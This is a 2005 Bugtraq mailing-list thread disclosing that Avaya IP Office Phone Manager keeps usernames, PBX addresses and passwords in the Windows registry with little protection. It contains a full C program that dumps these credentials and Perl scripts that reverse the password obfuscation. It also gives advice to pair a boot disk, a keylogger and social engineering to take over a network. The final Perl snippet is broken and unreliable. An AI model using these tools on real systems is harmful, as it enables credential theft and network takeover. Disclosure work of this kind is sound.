RE: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability
In my case the key is stored under HKEY_LOCAL_MACHINE
Also, please let's remember that even in the case that the key was stored under
HKEY_CURRENT_USER , sensitive information should NEVER be cleartext since an
attacker could gain administrative privileges to a single host or even entire
Windows network.
It only takes an ERD (Emergency Repair Disk) such as CHNTPW, a good keylogger
such as Keykey and a little bit of social engineering (to make the admin login
on the machine where the keylogger is running) to grab the administrator's
password and gain total control of a host or entire network in the case that
domain authentication was used (DOMAIN\USERNAME)
Here is an exploit written in Win32/C with some comments:
8<----------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <string.h>
/*
Filename: exploit.c
Title: Avaya IP Office Phone Manager - Cleartext
Sensitive Data Vulnerability Exploit v0.01
Author: pagvac (Adrian Pastor)
Date: 24th Feb, 2005
Other info: tested on version 2.013. Compile as a
Win32 console application project in Visual C++
*/
BOOL QueryVal(char lszVal2Query[255], char lszValData[255])
{
char lszResult[255];
HKEY hKey;
LONG returnStatus;
DWORD dwType=REG_SZ;
DWORD dwSize=255;
returnStatus = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\AVAYA\\IP400\\GENERIC", 0L, KEY_READ, &hKey);
if (returnStatus == ERROR_SUCCESS)
{
returnStatus = RegQueryValueEx(hKey, lszVal2Query, NULL,
&dwType,(LPBYTE)&lszResult, &dwSize);
if (returnStatus == ERROR_SUCCESS)
{
strcpy(lszValData, lszResult);
}
RegCloseKey(hKey);
return TRUE;
}
else
{
RegCloseKey(hKey);
return FALSE;
}
}
void main()
{
char valData[255];
printf("\nAvaya IP Office Phone Manager - Cleartext Sensitive Data
Vulnerability Exploit\n");
printf("By pagvac (Adrian Pastor)\n");
printf("Tested on version 2.013\n\n");
// Print username
printf("Username:\t");
if(!QueryVal("UserName", valData))
printf("Error! No permissions to read key value?\n");
else
printf("%s\n", valData);
// Print IP address
printf("PBX IP Address:\t");
if(!QueryVal("PBXAddress", valData))
printf("Error! No permissions to read key value?\n");
else
printf("%s\n", valData);
// Print password
printf("Password:\t");
if(!QueryVal("Password", valData))
printf("Error! No permissions to read key value?\n");
else
{
if(strcmp(valData, "")==0)
printf("[blank password]\n\n");
else
{
printf("%s\n", valData);
printf("Password obsfucated?\n\n");
}
}
}
---------------------------------------------------------------------------------------->8
Regards,
pagvac (Adrian Pastor)
-----Original Message-----
From: Walton, John Michael (John) [mailto:jmwalton@xxxxxxxxx]
Sent: Thu 2/24/2005 12:16 AM
To: grutz@xxxxxxxxxxxxxx; bugtraq@xxxxxxxxxxxxxxxxx; PASTOR ADRIAN
Subject: RE: Avaya IP Office Phone Manager - Sensitive Information Cleartext
Vulnerability
Avaya is aware and currently investigating this issue. Once our
investigation is complete we will release an Avaya Security Advisory to
address the outlined concerns. In the interim, we've asked Mitre to
assign a Common Vulnerability and Exposures (CVE) candidate number for
this issue. They have assigned CAN-2005-0506:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0506
Congruent with generally acceptable security practices, Avaya recommends
that customers restrict remote and local access to their systems to
reduce risks. Alternatively, customers may choose not to utilize the
"Remember save password" feature in order to prevent a user's password
from being stored in the Windows registry.
Please note the Avaya Product Security Support Team (PSST) takes the
security of Avaya products seriously. We would like to develop a
relationship with our customers and the public to encourage them to
forward vulnerabilities to us. Please send information regarding any
discovered security problems with Avaya products to
securityalerts[at]avaya.com. I, or someone on the PSST, will work
directly to validate the problem and coordinate a response; including an
acknowledgement for working with us to help protect customers.
John Walton, CISSP
Lead Security Engineer
Product Security Support Team (PSST)
Avaya, Inc.
-----Original Message-----
From: grutz@xxxxxxxxxxxxxx [mailto:grutz@xxxxxxxxxxxxxx]
Sent: Tuesday, February 22, 2005 12:06 PM
To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Re: Avaya IP Office Phone Manager - Sensitive Information
Cleartext Vulnerability
On Tue, Feb 22, 2005 at 11:29:52PM -0000, m123303@xxxxxxxxxxxxxx wrote:
> I suspect there is a vulnerability in Avaya IP Office Phone Manager
You suspect correctly.
>From some research we did with this product:
http://www.avaya.com/gcm/master-usa/en-us/products/offers/softphone.htm
> [HKEY_LOCAL_MACHINE\SOFTWARE\Avaya\IP400\Generic]
> "UserName"="Joe Smith"
> "Password"=""
> "PBXAddress"="10.154.1.60"
Our values were found in a different registry location but i'm willing
to bet
the obfuscation is the same. One method of attack is to simply place the
stored
password in your own registry and hit connect. It's only there because
people
are lazy and just want their phones to work. It's easily reversable:
----- 8< --- [ snippy snippy bad code ] --- >8 ----
#!/usr/bin/perl
$avayapw=shift;
my $pwlength = ord(substr($avayapw, 0, 1)) - 33;
my $startpoint = ($pwlength * 7) % 55;
print "Password length: $pwlength\n";
print " Start position: $startpoint\n";
print "\nYour password is: " . substr($avayapw, $startpoint, 1);
my $byte = $startpoint;
for ( my $a = 1; $a<$pwlength; $a++) {
$nextbyte = $byte - 7;
if ($nextbyte < 0) {
$nextbyte = 55 - (7 - $byte);
}
$byte = $nextbyte;
print substr($avayapw, $byte, 1);
}
----- 8< --- [ snippy snippy bad code ] --- >8 ----
Shorter:
#!/usr/bin/perl
$a=shift;
$l=ord(substr($a,0,1))-33;
for $c ( 1 .. $l ) {
print substr($a, (((($l-$c)+1)*7)%55), 1);
}
----- 8< --- [ snippy snippy bad code ] --- >8 ----
And something more fun:
#!/usr/bin/perl
use Win32::Registry;
$::HKEY_CURRENT_USER->Open("Software\\Avaya\\iClarity\\Options", $hKey)
or die "Can't open: $^E\n";
$l=ord(substr($value,0,1))-33;
for $c ( 1 .. $l ) {
print substr($a, (((($l-$c)+1)*7%55), 1);
}
--
..:[ grutz at jingojango dot net ]:..
GPG fingerprint: 5FD6 A27D 63DB 3319 140F B3FB EC95 2A03 8CB3 ECB4
"There's just no amusing way to say, 'I have a CISSP'."